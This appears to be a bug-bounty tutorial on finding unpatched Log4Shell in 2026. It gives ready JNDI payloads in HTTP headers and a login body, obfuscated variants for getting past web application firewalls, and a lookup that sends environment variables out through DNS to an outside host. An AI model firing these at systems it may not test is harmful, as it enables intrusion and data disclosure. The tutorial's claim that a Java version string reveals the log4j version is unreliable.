// The patch that wasn't
On December 9, 2021, the security world collectively held its breath. CVE-2021-44228 — Log4Shell — was a zero-click, pre-auth remote code execution vulnerability in one of the most widely used Java logging libraries on the planet. CVSS 10.0. Exploitable by anyone who could get a log message to contain a crafted string.
The remediation guidance was clear: upgrade to log4j 2.17.1+. Most major vendors pushed emergency patches within days. But "most" and "all" are very different words in enterprise software.
// Why it's still unpatched — the real reasons
// Where to look in 2026
Public-facing frontends are almost certainly patched. The interesting surface in 2026 is elsewhere:
- Acquired company infrastructure — M&A targets brought into scope but not yet through the parent's security review cycle
- Internal admin panels exposed via VPN or inadvertently public — lower patch priority, often older stacks
- API gateways and middleware — Java-based API management platforms (MuleSoft, WSO2, Apigee legacy) have had their own log4j exposure
- Monitoring and observability stacks — Elastic, older Splunk forwarders, custom metric collectors
- Support and ticketing integrations — Jira Service Management, Zendesk connectors, ServiceNow Java plugins
- CI/CD tooling — Jenkins, TeamCity, Bamboo — Java-based, log everything, often run on unpatched instances
// The injection surface — every header is a candidate
Any field that the Java app logs is potentially vulnerable. Log4j doesn't care whether it's a header, a body parameter, or a cookie — if it ends up in a log.info() call, it gets processed. In practice, these are the highest-yield injection points:
| Header / field | Why it's logged | Yield |
|---|---|---|
| User-Agent | Access logs, analytics, fraud detection | Very high |
| X-Forwarded-For | Load balancer passthrough, IP logging | High |
| Referer | Traffic attribution logs | High |
| X-Api-Version | Versioning middleware often logs this for debugging | Medium |
| Authorization | Auth failures are logged with the raw value in older apps | Medium |
| X-Request-ID / X-Trace-ID | Distributed tracing headers logged verbatim | Medium |
| username / login fields | Failed login attempts logged with the attempted username | High |
| Search query params | Search terms logged for analytics | Medium |
// The safe payload — DNS-only PoC
The golden rule: prove the vulnerability with a DNS callback only. You do not need LDAP, RMI, or code execution to confirm Log4Shell. A DNS query from the target's server to your listener is sufficient proof for any bug bounty program — and it carries zero risk of unintended impact.
Basic DNS probe — inject into every header simultaneously
# Burp Suite — paste into every header value # Replace abc123 with your pingback.sh subdomain GET /login HTTP/1.1 Host: target.com User-Agent: ${jndi:dns://abc123.pingback.sh/ua} X-Forwarded-For: ${jndi:dns://abc123.pingback.sh/xff} Referer: ${jndi:dns://abc123.pingback.sh/ref} X-Api-Version: ${jndi:dns://abc123.pingback.sh/xav} Authorization: Basic ${jndi:dns://abc123.pingback.sh/auth}
/ua, /xff, etc.) tells you exactly which header triggered the callback. This is important for your PoC — the program needs to know the precise injection vector, not just "it fired somehow".
Login form — username field
# POST to the login endpoint # The username is usually logged on failed auth attempts POST /api/auth/login Content-Type: application/json { "username": "${jndi:dns://abc123.pingback.sh/login-user}", "password": "wrongpassword" }
Obfuscated variants — WAF bypass
# If the basic payload is blocked by a WAF, try these # Nested lookup — confuses most regex WAFs ${${lower:j}ndi:dns://abc123.pingback.sh/waf1} # Mixed case ${JnDi:Dns://abc123.pingback.sh/waf2} # Unicode escape ${j${::-n}di:dns://abc123.pingback.sh/waf3} # Double nesting ${${::-j}${::-n}${::-d}${::-i}:dns://abc123.pingback.sh/waf4}
// What you'll see in your dashboard
A successful hit shows a DNS query arriving from the target's outbound resolver. Here's what to look for:
Two things stand out here. First, the ua and xff paths fired — meaning both User-Agent and X-Forwarded-For are vulnerable. Second — and this is gold — the DNS query includes the Java runtime version in some implementations: Java/1.8.0_292. That's log4j 2.14.1, unpatched, and you now have the exact JDK version in your report.
${jndi:dns://your-host/${env:JAVA_VERSION}/probe}. This exfiltrates env vars into the DNS subdomain — reportable as information disclosure even if the main JNDI finding is closed as known.
// Scoring and what to write in your report
Your report should answer four questions clearly:
- Which endpoint and which header triggered the callback — be specific. "User-Agent on POST /api/auth/login" is better than "a header".
- What fired — attach the pingback dashboard screenshot showing the DNS hit, the source IP, the query path, and the timestamp.
- What version — if the DNS response includes Java version info, include it. If not, note that you did not attempt to determine the exact version to avoid further interaction.
- What you didn't do — explicitly state that you used a DNS-only payload and did not attempt LDAP/RMI callbacks or code execution. Programs appreciate this.
// The ethical line
Log4Shell is RCE. That makes it one of the few vulnerabilities where the gap between "proving it" and "crossing a line" is very small. A DNS callback proves the vulnerability completely. There is no legitimate reason to escalate to LDAP or RMI in a bug bounty context — doing so risks unintended impact on production systems and can void your report.